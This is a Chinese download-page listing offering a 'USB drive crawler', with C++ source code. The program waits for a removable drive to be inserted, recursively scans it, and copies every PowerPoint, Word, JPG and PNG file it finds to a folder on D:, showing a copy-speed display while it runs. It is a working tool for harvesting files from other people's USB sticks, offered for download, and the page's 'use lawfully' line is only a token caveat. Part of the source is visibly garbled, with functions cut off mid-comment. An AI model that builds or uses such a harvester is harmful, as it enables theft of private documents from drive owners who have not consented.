U盘爬虫-自定义爬取文件类型
立即下载
资源介绍:
通过C/C++,WindowsAPI中的函数实现U盘拔插判断,U盘文件扫描,并根据实际需求爬取自定义的文件类型。
压缩包内包含3个文件:
MainFile.cpp :源代码(可修改,需要安装easyx库在VS中调试)
U盘爬虫.exe :主程序(需要特定静态库可运行)
U盘爬虫Setup.msi :安装包(安装后可直接运行)
特别提示:请将小程序用于合法途径
源代码包含头文件:
#include
#include
#include
#include
#include
#include
#include
#include
#define screenw 540
#define screenh 360
using namespace std;
char copyPath[500] = { 0 };
void quesout(int x, int y, int w, int h, string text, int way, int rightway, int* hangs)
{
LOGFONT f;
gettextstyle(&f);
settextstyle(h, w, f.lfFaceName);
int size = text.size();
int cw = 0;
int xs = x;
for (int i = 0; i < size; i++)
{
if (xs + w >= screenw - rightway || (text[i] == ' ' && text[i + 1] == ' '))
{
if (text[i] == ' ' && text[i + 1] == ' ') i += 2;
xs = x;
cw++;
}
if (text[i] <= 127 && text[i] > 0)
{
char str[10];
str[0] = text[i];
str[1] = '\0';
outtextxy(xs, y + cw * (h + way), str);
xs += w;
}
else
{
char str[10];
str[0] = text[i];
str[1] = text[i + 1];
str[2] = '\0';
outtextxy(xs, y + cw * (h + way), str);
xs += w * 2;
i++;
}
}
if (hangs != NULL) *hangs = cw + 1;
}
void textout(const char* text, int w, int h, int can)
{
settextstyle(h, w, "宋体");
size_t a = strlen(text);
if (can == 0) outtextxy(5, 5, text);
if (can == 1) outtextxy(screenw - a * w - 5, 5, text);
if (can == 2) outtextxy(5, screenh - h - 5, text);
if (can == 3) outtextxy(screenw - a * w - 5, screenh - h - 5, text);
}
void doubkeToString(double val, char* buf) {
int i = 0; /**<目标buf下标 */
int j = 0; /**<源下标str下标 */
int point, sign; /**= 1000)
{
style = KB;
speedd /= 1000.0;
}
if (speed >= 1000000)
{
style = MB;
speedd /= 1000.0;
}
if (speed>= 1000000000)
{
style = GB;
speedd /= 1000.0;
}
char strspeed[32] = { 0 };
sprintf(strspeed, "%.2f", speedd);
speed = 0;
outtextxy(5, 26 + line * (16 + linelen), "爬取速度: ");
outtextxy(85, 26 + line * (16 + linelen), &strspeed[0]);
switch (style)
{
case B:
outtextxy(85 + strlen(strspeed) * 8, 26 + line * (16 + linelen), " B/s");
break;
case KB:
outtextxy(85 + strlen(strspeed) * 8, 26 + line * (16 + linelen), " KB/s");
break;
case MB:
outtextxy(85 + strlen(strspeed) * 8, 26 + line * (16 + linelen), " MB/s");
break;
case GB:
outtextxy(85 + strlen(strspeed) * 8, 26 + line * (16 + linelen), " GB/s");
break;
}
EndBatchDraw();
}
unsigned long long time1 = GetTickCount(), filesize = 0, speed = 0;
void FindFile(const char* FileName)
{
WIN32_FIND_DATA FindData;
char tempPath[500] = { 0 };
sprintf(tempPath, "%s\\*.*", FileName);
HANDLE hfile = FindFirstFile(tempPath, &FindData);
while (true)
{
if (FindData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
if (FindData.cFileName[0] != '.')
{
sprintf(tempPath, "%s\\%s", FileName, FindData.cFileName);
FindFile(tempPath);
}
}
else
{
if (strstr(FindData.cFileName, ".ppt") ||
strstr(FindData.cFileName, ".PPT") ||
strstr(FindData.cFileName, ".pptx") ||
strstr(FindData.cFileName, ".PPTX") ||
strstr(FindData.cFileName, ".doc") ||
strstr(FindData.cFileName, ".DOC") ||
strstr(FindData.cFileName, ".docx") ||
strstr(FindData.cFileName, ".DOCX") ||
strstr(FindData.cFileName, ".jpg") ||
strstr(FindData.cFileName, ".JPG") ||
strstr(FindData.cFileName, ".png") ||
strstr(FindData.cFileName, ".PNG")
//strstr(FindData.cFileName, ".mp4") ||
//strstr(FindData.cFileName, ".mp3") ||
)
{
sprintf(tempPath, "%s\\%s", FileName, FindData.cFileName);
CreateDirectory("D:\\U盘爬取文件", NULL);
sprintf(copyPath, "D:\\U盘爬取文件\\%s", FindData.cFileName);
print(tempPath, speed);
FILE* fptemp = fopen(tempPath, "rb");
FILE* fpcopy = fopen(copyPath, "wb");
if (fptemp != NULL && fpcopy != NULL)
{
char c[1024];
while (1)
{
if (fread(&c, 1024, 1, fptemp) < 1) break;
if (fwrite(&c, 1024, 1, fpcopy) < 1) break;
filesize += strlen(c);
if (GetTickCount() - time1 >= 1000)
{
speed = filesize;
print(tempPath, speed);
filesize = 0;
time1 = GetTickCount();
}
}
if (fclose(fptemp) == -1) break;
fclose(fpcopy);
}
}
}
if (FindNextFile(hfile, &FindData) == 0) break;
}
}
int main()
{
initgraph(screenw, screenh, EX_NOCLOSE);
setbkcolor(WHITE);
settextcolor(BLACK);
unsigned alldisk;
char path[4];
bool pd = false;
while (true)
{
alldisk = GetLogicalDrives();
for (int i = 0; i < 26; i++)
{
if ((alldisk & 1) == 1)
{
sprintf(path, "%c:", 'A' + i);
//printf("%s\n", path);
settextstyle(16, 8, "宋体");
outtextxy(5, 5, "等待U盘插入");
if (GetDriveType(path) == DRIVE_REMOVABLE)
{
//printf("this is a removeable drive!\n");
FindFile(path);
pd = true;
}
}
alldisk = alldisk >> 1;
}
if (pd) break;
}
}